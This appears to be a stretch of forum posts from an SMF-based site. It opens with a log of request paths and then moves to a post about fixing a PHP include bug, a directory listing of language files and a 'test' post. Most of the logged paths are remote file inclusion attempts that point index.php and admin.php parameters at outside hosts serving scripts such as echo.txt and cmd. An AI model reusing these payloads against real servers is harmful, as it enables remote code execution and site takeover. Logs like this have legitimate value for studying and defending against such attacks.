178. /index.php?action=http://www.justachat.com/linkex/images.gif??:2
179. /index.php?action=file;file=yabb_to_yabbse.txt//yabbse/Sources/Packages.php?sourcedir=http://www.calebsfunzone.com/editor/cmd?:2
184. /index.php/%3Cwbr%20/account.php?action=http://xredrum.com/id.txt?:2
185. /admin.php?page=http://www.attackbr.xpg.com.br/did.txt?:2
186. /?/action,file//index.php?id=http://www.mursia.net/echo.txt??:1
187. /?//index.php?page=http://www.sehospede.com/echo.txt??:1
188. /?//index.php?id=http://www.mursia.net/echo.txt??:1
189. //index.php?page=http://www.sehospede.com/echo.txt??:1
190. //index.php?sourcedir=http://www.besthopes.com/articles/safe.txt?:1
191. /index.php?sourcedir=http://smile.122mb.com/smile27.gif?:1
192. /index.php?load=http://xbm-x.tripod.com/safe.txt?:1
193. /index.php?action=file;file=changelog.txt/index.php?load=http://xbm-x.tripod.com/safe.txt?:1
194. /index.php/index.php?sourcedir=http://smile.122mb.com/smile27.gif?:1
195. /index.php/index.php?sourcedir=ftp://80.50.253.90/upload/071011004039p/new?:1
199. /index.php/action,file/index.php?sourcedir=http://smile.122mb.com/smile27.gif?:1
200. /index.php/action,file//index.php?sourcedir=http://www.mursia.net/echo.txt??:1
201. /index.php/action,encrypt.html/index.php?action=http://www.justachat.com/linkex/images.gif??:1
202. /index.php//index.php?sourcedir=http://www.mursia.net/echo.txt??:1
203. /includes.php?root=http://www.apnic.net/index.html?:1
204. /Theme/images/img.php?image=50347_043_123_747lo.jpg:1
205. /Pastebin/module.php?mod=http://201.37.71.117:8090/cmdimbox.txt??:1
206. /Pastebin/\',%20$scripturl,%20\':1
#138
Well for the past month or two the main site hasn't been showing the updates board.

I finally got pissed enough to figure out why and fix it. Seems To do some URL/_POST fixing in PHP I added to globally affect my site and undo the slashes SMF adds so my scripts would work, had broken this with some requires it already did in another function (and thus the main require which wasn't in a function couldn't get the files I had included).

So I just made a new function and have it execute after SMF is loaded.

To let you know, The main site functions very similar to how SMF functions. I wrote the code myself but it follows the same logical and ideas of SMF. It has an actionarray (but mine is different and more robust) and lots of functions that are called. I don't do as SMF does and a obExit so I have to call the header and footer functions myself. But it is easier to work with xml and ajax returns with doing it this way instead of cleaning the buffer just to do ajax.
#139
-rwxr-xr-x    1 xx xx    27484 Sep  4 19:43 index.albanian-utf8.php
-rwxr-xr-x    1 xx xx    31385 Sep  4 19:43 index.arabic-utf8.php
-rwxr-xr-x    1 xx xx    29337 Sep  4 19:43 index.brazilian-utf8.php
-rwxr-xr-x    1 xx xx    34125 Sep  4 19:43 index.bulgarian-utf8.php
-rwxr-xr-x    1 xx xx    29083 Sep  4 19:43 index.catalan-utf8.php
-rwxr-xr-x    1 xx xx    25569 Sep  4 19:43 index.chinese-simplified-utf8.php
-rwxr-xr-x    1 xx xx    25704 Sep  4 19:43 index.chinese-traditional-utf8.php
-rwxr-xr-x    1 xx xx    27476 Sep  4 19:43 index.croatian-utf8.php
-rwxr-xr-x    1 xx xx    26888 Sep  4 19:43 index.czech-utf8.php
-rwxr-xr-x    1 xx xx    26531 Sep  4 19:43 index.danish-utf8.php
-rwxr-xr-x    1 xx xx    27593 Sep  4 19:43 index.dutch-utf8.php
-rwxr-xr-x    1 xx xx    26043 Sep  4 19:43 index.english-utf8.php
-rwxr-xr-x    1 xx xx    28346 Sep  5 01:40 index.english.php
-rw-rw-rw-    1 xx xx    23416 Aug 15 15:05 index.english.php~
-rwxr-xr-x    1 xx xx    26038 Sep  4 19:43 index.english_british-utf8.php
-rwxr-xr-x    1 xx xx    27199 Sep  4 19:43 index.finnish-utf8.php
-rwxr-xr-x    1 xx xx    31022 Sep  4 19:43 index.french-utf8.php
-rwxr-xr-x    1 xx xx    27991 Sep  4 19:43 index.german-utf8.php
-rwxr-xr-x    1 xx xx    37370 Sep  4 19:43 index.greek-utf8.php
-rwxr-xr-x    1 xx xx    29120 Sep  4 19:43 index.hebrew-utf8.php
-rwxr-xr-x    1 xx xx    28865 Sep  4 19:43 index.hungarian-utf8.php
-rwxr-xr-x    1 xx xx    26774 Sep  4 19:43 index.indonesian-utf8.php
-rwxr-xr-x    1 xx xx    28168 Sep  4 19:43 index.italian-utf8.php
-rwxr-xr-x    1 xx xx    30363 Sep  4 19:43 index.japanese-utf8.php
-rwxr-xr-x    1 xx xx    27853 Sep  4 19:43 index.norwegian-utf8.php
-rwxr-xr-x    1 xx xx    35049 Sep  4 19:43 index.persian-utf8.php
-rw-r--r--    1 xx xx      217 Sep  5 01:40 index.php
-rwxr-xr-x    1 xx xx    25955 Sep  4 19:43 index.polish-utf8.php
-rwxr-xr-x    1 xx xx    29890 Sep  4 19:43 index.portuguese-utf8.php
-rwxr-xr-x    1 xx xx    28597 Sep  4 19:43 index.romanian-utf8.php
-rwxr-xr-x    1 xx xx    35619 Sep  4 19:43 index.russian-utf8.php
-rwxr-xr-x    1 xx xx    34797 Sep  4 19:43 index.serbian-utf8.php
-rwxr-xr-x    1 xx xx    26385 Sep  4 19:43 index.slovak-utf8.php
-rwxr-xr-x    1 xx xx    26971 Sep  4 19:43 index.slovenian-utf8.php
-rwxr-xr-x    1 xx xx    29297 Sep  4 19:43 index.spanish-utf8.php
-rwxr-xr-x    1 xx xx    29370 Sep  4 19:43 index.spanish_es-utf8.php
-rwxr-xr-x    1 xx xx    26056 Sep  4 19:43 index.spanish_latin-utf8.php
-rwxr-xr-x    1 xx xx    30407 Sep  4 19:43 index.swedish-utf8.php
-rwxr-xr-x    1 xx xx    41542 Sep  4 19:43 index.thai-utf8.php
-rwxr-xr-x    1 xx xx    27008 Sep  4 19:43 index.turkish-utf8.php
-rwxr-xr-x    1 xx xx    36013 Sep  4 19:43 index.ukrainian-utf8.php
-rwxr-xr-x    1 xx xx    27863 Sep  4 19:43 index.vietnamese-utf8.php
#140
test